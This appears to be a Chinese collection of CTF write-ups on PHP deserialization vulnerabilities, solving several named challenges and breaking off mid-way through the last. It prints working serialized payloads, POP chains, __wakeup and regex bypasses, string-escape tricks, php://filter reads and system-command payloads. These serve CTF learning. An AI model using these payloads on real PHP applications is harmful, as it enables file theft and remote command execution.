Php

php中常用的几种魔术方法和触发条件

__construct :当一个对象创建时被调用
__destruct :当一个对象销毁时被调用
__toString :当一个类或对象被当作一个字符串被调用
__wakeup :当一个对象使用 unserialize 时触发,反序列化时触发
__sleep :当一个对象使用 serialize 时触发,序列化时触发
__get :当一个对象读取不可访问属性的值时触发
__set :当一个对象在给不可访问属性赋值时
__isset :当一个对象当对不可访问属性调用 issetempty 时触发
__unset :当一个对象对不可访问属性调用 unset 时触发
__invoke :当一个对象尝试以调用函数的方式调用一个对象时触发
__set_state :当一个对象调用 var_export 导出类时,此静态方法会被调用
__call :当一个对象在对象上下文中调用不可访问的方法时触发 
__callStatic :当一个对象在静态上下文中调用不可访问的方法时触发

不同属性之间的区别

public  变量(公有) 
直接将变量名反序列化出来 
protected  变量(受保护) 
\x00 + * + \x00 + 变量名 
private  变量(私有) 
\x00 + 类名 + \x00 + 变量名

Web_php_unserialize

感谢xctf平台,题目链接

题目代码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

由代码可知,题目提供了一个var参数给我们进行get传参,首先先对var进行base64解码,然后进入if判断语句,若判断条件不成立就进入else,进行unserialize操作,题目提供了一个Demo类来进行序列化操作,且其中的__destruct方法可以将代码显示出来,题目提示了the secret is in the fl4g.php,flag应该就在fl4g.php中,于是寻找突破点

题目限制条件:

preg_match(‘/[oc]:\d+:/i’, $var):对传入的var经过base64解密后的字符串进正则匹配,来防止反序列化操作

__wakeup函数:__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法,在这里这个函数会将file赋值为index.php

可是这两种方法都可以进行绕过:

preg_match():这个正则匹配函数是用来防止反序列化的开头的,如O:4:即可匹配上,但可以用+进行绕过,可以写成O:+4:反序列化函数一样识别

__wakeup函数:__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。例如O:4:"Demo":1:,Demo后面的1表示的就是类的属性个数,将1改大即可跳过__wakeup函数的执行

于是构造payload:O:+4:"Demo":4:{s:10:" Demo file";s:8:"fl4g.php";}

注意file前面的Demo左右需要有%00

序列化后:
v1 表示 public   %00Demo%00v2 表示 private(Demo为类名)   %00*%00v3 表示 protected  v1,v2,v3为属性名

base64编码后TzorNDoiRGVtbyI6NDp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

参考:
php序列化与反序列化入门
魔术方法__sleep(),__wakeup()
__wakeup()函数漏洞以及实际漏洞分析

PS:php代码审计是个大坑,刚接触的话上手还是有点困难,还是要多看看php代码,需要有面向对象编程的思想,否则代码量大的就比较难入手;序列化算是一个重点了吧,原来就接触过好多这样的题,但都不怎么看得懂,所以就都略过了,现在学了点php基础勉强能够看的懂,总之多看多思考,慢慢来吧。


极客大挑战-2019—PHP

界面:

题目提示网站有备份,于是访问www.zip,得到网页源码:

index.php

<!DOCTYPE html>
<head>
  ......
</head>
<style>
    ......
</style>
<body>

<div id="world">
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
    </div>
    <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html>

class.php

<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

注意到index.php中有对get的select参数进行反序列化操作,并且题目给了一个class.php中的Name类,于是构造反序列化条件:

观察chass.php代码发现只要令password=100,username=admin,且绕过__wakeup函数即可,于是得到payload:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

传入即可


MRCTF—Ezpop

题目源码:

<?php

//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

一步步审计代码

首先看到最后的if语句,题目给出了一个可以get的pop参数,随后对其进行反序列化操作,于是直接想到利用反序列化漏洞,再往上看找利用点

题目给出了三个类,观察可利用点可以在Modifier对象中看到一个include函数,这里就可以利用文件包含从而达到任意文件读取的效果,具体方法只要令includevaluephp://filter/read=convert.base64-encode/resource=./flag.php即可读取flag文件,所以就需要想办法利用这个点

可用看到Modifier对象中有一个__invoke方法代码如下

public function __invoke(){
    $this->append($this->var);
}

里面调用了可触发条件的append方法,而此方法中的var属性是可控的,于是就可以直接利用var属性来调用append方法,从而达到文件包含的效果,初步构造序列化参数

class Modifier {
    protected $var='php://filter/read=convert.base64-encode/resource=./flag.php';
}
$a = new Modifier;

__invoke函数的使用方法是当尝试以调用函数的方法调用一个对象时触发,于是找到可触发条件,可以在下面的Test对象中看到一个__get方法

public function __get($key){
    $function = $this->p;
    return $function();
}

这个方法里面返回的参数刚好可以作为函数条件调用一个对象,于是可以利用此方法调用Modifier对象,只需令里面的参数p为创建的新的Modifier对象即可,就可以触发__invoke函数,而Test对象中的参数p是可控的,于是就可以进一步构造序列化参数

class Modifier {
    protected $var='php://filter/read=convert.base64-encode/resource=./flag.php';
}
class Test
{
    public $p;
}
$a = new Modifier;
$b = new Test;
$b->p = $a;

随后就需要想办法如何触发__get函数,__get函数的触发条件是当对象读取不可访问的属性的时候触发,于是就需要构造一个不可访问的属性来触发此函数,当然这个属性在对象内部肯定是不存在的,于是就要到外部去找,可以看到Show对象中的__toString方法

public function __toString(){
    return $this->str->source;
}

这里就可以构造str参数为一个Test对象,然后调用source属性,而Test对象中是没有source这个属性的,这样就可以触发对象中的__get方法,而Show对象中的str属性是可控的,于是就可以接着构造

class Modifier {
    protected $var='php://filter/read=convert.base64-encode/resource=./flag.php';
}
class Show
{
    public $str;
}
class Test
{
    public $p;
}
$a = new Modifier;
$b = new Test;
$b->p = $a;
$c = new Show;
$c->str = $b

然后就该想想__toString方法该如何触发了,__toString方法触发条件是当对象被当做一个字符串被调用,于是寻找触发点可以在函数下方看到一个__wakeup方法

public function __wakeup(){
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
        echo "hacker";
        $this->source = "index.php";
    }
}

__wakeup函数之中的source属性在进行preg_match正则匹配的时候会被当做一个字符串来使用,于是就可以令source属性为上一个构造的Show对象,这样在进行正则匹配判断的时候就会吧这个对象当做字符串来处理,从而就可以触发__toString方法,于是就可以写出构造方法

class Modifier {
    protected $var='php://filter/read=convert.base64-encode/resource=./flag.php';
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $p;
}
$a = new Modifier;
$b = new Test;
$b->p = $a;
$c = new Show;
$c->str = $b;
$d = new Show;
$d->source = $c;

__wakeup触发的条件是当我们反序列化这个对象的时候就会触发这个函数,这个方法就无需我们再去找触发点了,只需要把Show反序列化就可以了,而这题的pop参数就提供了这样的条件,于是最终构造出序列化方法

class Modifier {
    protected $var='php://filter/read=convert.base64-encode/resource=./flag.php';
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $p;
}
$a = new Modifier;
$b = new Test;
$b->p = $a;
$c = new Show;
$c->str = $b;
$d = new Show;
$d->source = $c;
echo serialize($d);

于是最总payload:

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:59:"php://filter/read=convert.base64-encode/resource=./flag.php";}}}s:3:"str";N;}

get传入pop=payload即可得到base64加密后的flag,解密即可。

0CTF 2016-piapiapia

界面:

题目一共四个界面,login,register,update和profile(也就是第一个显示界面)

前期探测sql注入和文件上传好像都没啥效果,随后扫一下发现存在www.zip源码泄露,代码审计

简单看一下,省略HTML和一些无关部分

index.php

<?php
	require_once('class.php');
	if($_SESSION['username']) {
		header('Location: profile.php');
		exit;
	}
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');

		if($user->login($username, $password)) {
			$_SESSION['username'] = $username;
			header('Location: profile.php');
			exit;	
		}
		else {
			die('Invalid user name or password');
		}
	}
	else {
?>
......(html)

register.php

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>
......(html)

update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname3'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>
......(html)
<?php
	}
?>

profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
......(html)
<?php
	}
?>

class.php

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'],
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

看最后一个config.php中包含flag,题目要求应该是要我们config.php文件,寻找利用点

在profile.php中看到有一行代码:

$photo = base64_encode(file_get_contents($profile['photo']));

明显的文件读取操作,而在代码上发现有一个反序列化操作

$profile = unserialize($profile);

找到$profile的定义

$profile=$user->show_profile($username);

跟进show_profile函数

public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}

存在一个对数据库的查询操作,于是寻找数据库写入操作

public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

在找到引用过这个函数的代码,在update.php中

$user->update_profile($username, serialize($profile));

可看到存在序列化操作,至此关系以及理清楚

通过对$profile传入序列化后的字符串再绕过阻碍达到利用file_get_contents读取文件的操作

再细看代码:

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname3'];
$profile['photo'] = 'upload/' . md5($file['name']);

$profile是这样定义的结合上面的读取文件操作可知其中的photo变量如果控制令其为config.php即可读取到flag,于是初步payload:

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"aa@aa.com";s:8:"nickname";s:3:"aaa";s:5:"photo";s:10:"config.php";}s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}

反序列化只反到第一个}结束,后面的自动丢弃,但是photo似乎不是我们能够直接控制的,源码中photo= 'upload/' . md5($file['name']);,也就是说我们不能直接更改photo中的内容了,于是就需要找到序列化后的其它可利用参数再其后写上s:5:"photo";s:10:"config.php";},达到修改的效果,phone,email,nickname都是我们可控的,而phone和email经过了严格的过滤(详情看上面的update.php源码),再来看看nickname:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

nickname[]数组绕过preg_matchstrlen即可,两边判断均为false,故不会执行if中的语句,于是再构造payload:

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"aa@aa.com";s:8:"nickname";a:1:{i:0;s:3:"aaa";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}

到这里是否就已经可以成功读取到文件了呢?并非如此,如果要进行如上的操作,就需要给nickname[]";}s:5:"photo";s:10:"config.php";}这样的一个值,传入后将会是这个样子

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"aa@aa.com";s:8:"nickname";a:1:{i:0;s:34:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}

虽然看上去大括号被闭合了,但是要注意到s:34这里,在反序列化的时候进行数据读取的时候依然会读取到引号中的34位字符,就对于没有闭合上,那有该如何利用呢?再接着看代码,

看看将$profile序列化结果存入数据库时的操作:

public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

可看见对传入的参数进行了处理,跟进父类的filter方法:

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

可见$string参数经过了两次过滤,第一次等于没用,两次应该都是来防止sql注入的,但这里似乎也不存在sql注入,序列化后的$profile不可能有sql注入风险,而$username的取值来自$_SESSION['username'],而usernamesession是系统分配的,这里也不存在sql注入,所以想想怎么利用在反序列化上面

这里就涉及到本题的核心了,反序列化长度逃逸字符

在php反序列化的守护是根据s后面的值来取字符串长度的,而在filter方法总存在preg_replace替换,如果有'select', 'insert', 'update', 'delete', 'where'其中之一就替换成'hacker'hacker长度为6位,试想如果替换了里面长度小于6位的字符串,而s后的取值长度发值有没变,那么就会有末尾的字符溢出不会被读取到,而没被读取到的话自然就被当做序列化后的格式处理,再结合这里,改闭合的大括号就可以闭合的上,再看看我们需要逃逸的字符串";}s:5:"photo";s:10:"config.php";},就是这34位,而替换的字符串中正好一个有比hacker短的字符串where,那么一次就可以逃逸一个出来,那么直接传入34个where就可以将";}s:5:"photo";s:10:"config.php";}完整的逃逸出来,于是最终payload如下:

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:9:"aa@aa.com";s:8:"nickname";a:1:{i:0;s:34:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}即可

随后发包:

查看profile.php网页页面源代码,将图片的base64解可得到config.php的内容,即可得到flag

NPUCTF2020-ReadlezPHP

F12后点进去可以看到源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);


2020-04-22 10:14:24

简单的反序列化

__destruct方法在反序列化的时候触发,里面的$b($a)即作为代码执行的条件,于是可以构造assert(phpinfo())payload如下:

<?php

class HelloPhp
{
    public $a = 'phpinfo()';
    public $b = "assert";
}
$c = new HelloPhp();
echo serialize($c);

将结果传入data搜索flag即可得到flag

安洵杯-2019-easy_serialize_php

题目给出了源码:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="../index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

在令$function == 'phpinfo'时查看phpinfo()内容发现存在d0g3_f1ag.php 文件,推测flag在其中,于是想办法构造文件读取方法

不难看到代码中有一个extract()函数,这个函数如果没设置extract_rulesEXTR_SKIP 则会覆盖原有变量

  • extract(): 函数从数组中将变量导入到当前的符号表。参考

那么我们如果想要读取d0g3_f1ag.php文件的内容就需要令反序列化后的$_SESSION['img']d0g3_f1ag.php => ZDBnM19mMWFnLnBocA==则初步反序列化内容s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";再看到$serialize_info = filter(serialize($_SESSION));,先经过序列化,然后在进行filter函数,也就是过滤替换操作,这样的话就很有可能会造成序列化字符串逃逸的问题,于是构造利用payload:

_SESSION[user]=flagflagflagflagphpphp&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"f";s:1:"a";}

由于_SESSION数组有3个值,则需要在后面补充随便一个值即可

传入后$serialize_info的就为以下值

a:3:{s:4:"user";s:22:"";s:8:"function";s:34:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

user闭合";s:8:"function";s:34:,随后再读取s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";,随后大括号闭合,后面的";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}值丢弃

读取到d0g3_f1ag.php 内容为

<?php
$flag = 'flag in /d0g3_fllllllag';
?>

再依法读取/d0g3_fllllllag即可

_SESSION[user]=flagflagflagflagphpphp&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"f";s:1:"a";}

[网鼎杯 2020 朱雀组]phpweb

题目每隔一段时间都会自动发一个包刷新一下网页,抓包下来看看发来了啥数据

测试后报错得到函数调用了call_user_func()函数,该函数把第一个参数作为回调函数调用,也就是说这个数据包调用了date函数,传入了后面为p的参数,并且执行了函数输出了结果

于是用system函数测试命令执行

被过滤了,于是直接将index.php的源码读取出来(读根目录没有flag),func=readfile&p=index.php,得到源码:

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

果不其然过滤了很多命令执行的函数,用的in_array函数进行对比,但是可以看到改函数的Test方法,里面也调用了gettime方法,于是构造反序列化利用

exp:

<?php
class Test {
    public $p = "find / -name *flag*";
    public $func = "system";
}
$b = new Test();
echo serialize($b);


O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}

传入找到flag所在的文件

尝试读取

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

得到flag

[2020 第四届 强网杯]-web辅助

题目给出了源码,挑重点看:

<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name = 'Yasuo'){
        $this->name = $name;
    }
    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }
    

    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();  
        return "";  
    }

}
//topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr($this->name, 'Yasuo')->jungle->__toString()->KS()
?>

题目给出了cat /flag的函数,于是我们只需要想办法触发该方法即可

分析反序列化链:

topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr($this->name, 'Yasuo')->jungle->__toString()->KS()

其中有几个需要绕过的点:

__wakeup函数,老考点了,改变序列化后的对象属性即可

而在common.php中有个check函数需要绕过:

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
  • 这里利用十六进制bypass属性名,即name->\6e\61\6d\65

于是构造payload:

$a = new jungle();
$b = new midsolo();
$b->name = $a;
$c = new topsolo();
$c->name = $b;
var_dump(serialize($c));

$user = '0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0';
$pass = '0";s:7:"\0*\0pass";O:7:"topsolo":1:{S:7:"\0*\0\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\0*\0\6e\61\6d\65";O:6:"jungle":1:{S:7:"\0*\0\6e\61\6d\65";s:7:"Lee Sin";}}}};';

传入即可cat /flag

[2021 卫生健康行业CTF]-medical

题目提示:反序列化字符串逃逸;static目录下面有源码泄露;php的反序列化

static下有www.zip源码包

下下来看源码,采用的是MVC架构

直接看到Service.class.php

<?php
class Service{

    public $_if_action=true;
    public $post;
    public $view;

    public function __construct($config){
        $this->view=$config['view'];
        $this->post=$config['post'];
    }

    public function index(){
        $serialize_data=serialize($this->post);
        if(santi($serialize_data)){
            $data = unserialize(preg_replace('/s:/', 'S:', $serialize_data));
            $this->view->user_view($data['Location']);
        }else{
            $this->view->user_view("Bad strings.");
        }
    }

    public function __call($function, $arg){
        return file_get_contents('/flag');
    }
}

index方法中有反序列化点

看一下user_view方法,传入的值被当作字符串来使用

public function user_view($text, $flag=False){
    if($flag){
        if($this->return_string!=='False'?$this->return_string:False){
            echo "Hello,".$this->return_string."!","You have made an appointment successfully!";
        }elseif(!empty($text)){
            echo $text;
        }else{
            echo "";
        }
    }else{
        $this->return_string = $text;
    }
}

看到Request.class.php中的魔术方法__toString

<?php
class Request
{
    public $config;
    public $hhhhh;
    public $hhhh;

    function __construct(){
        $this->config['post']=$_POST;
        $this->config['get']=$_GET;
        $this->config['input']=file_get_contents('php://input');
        $this->config['headers']=apache_request_headers();
    }


    public function __destruct(){
        echo $this->hhhh.'';
    }

    public function __toString(){
        return $this->hhhhh->b;
    }

    public function __wakeup(){

    }
}

再看到index.class.php,其中有一个__get方法

<?php
class Index{
    public $view;
    public $_if_action=True;
    public $file;

    public function __construct($config){
        $this->view=$config['view'];
    }

    public function index(){
//        $this->view->html('home');
    }

    public function __call($function_name, $function_arg){
        $this->view->html("$function_name");
    }

    public function __get($name){
        return file_get_contents('/flag');
    }

    public function __toString(){
        if($this->file=='/flag'){
            return file_get_contents($this->file);
        }
        return '';
    }

    public function __wakeup(){
        $this->file='/hint';
    }
}

于是构造链路就出来了:Request->__toString => Index->__get

<?php
class Request
{
    public $hhhhh;
    public function __construct(){
        $this->hhhhh = new Index();
    }
}

class Index
{}
echo serialize(new Request());

结果如下

O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}}

然而直接传是没有用的,index中$data['Location']的值还会是一个字符串类型的,写一个简单的例子

<?php 
	$config = array();
	$config['post']=$_POST;
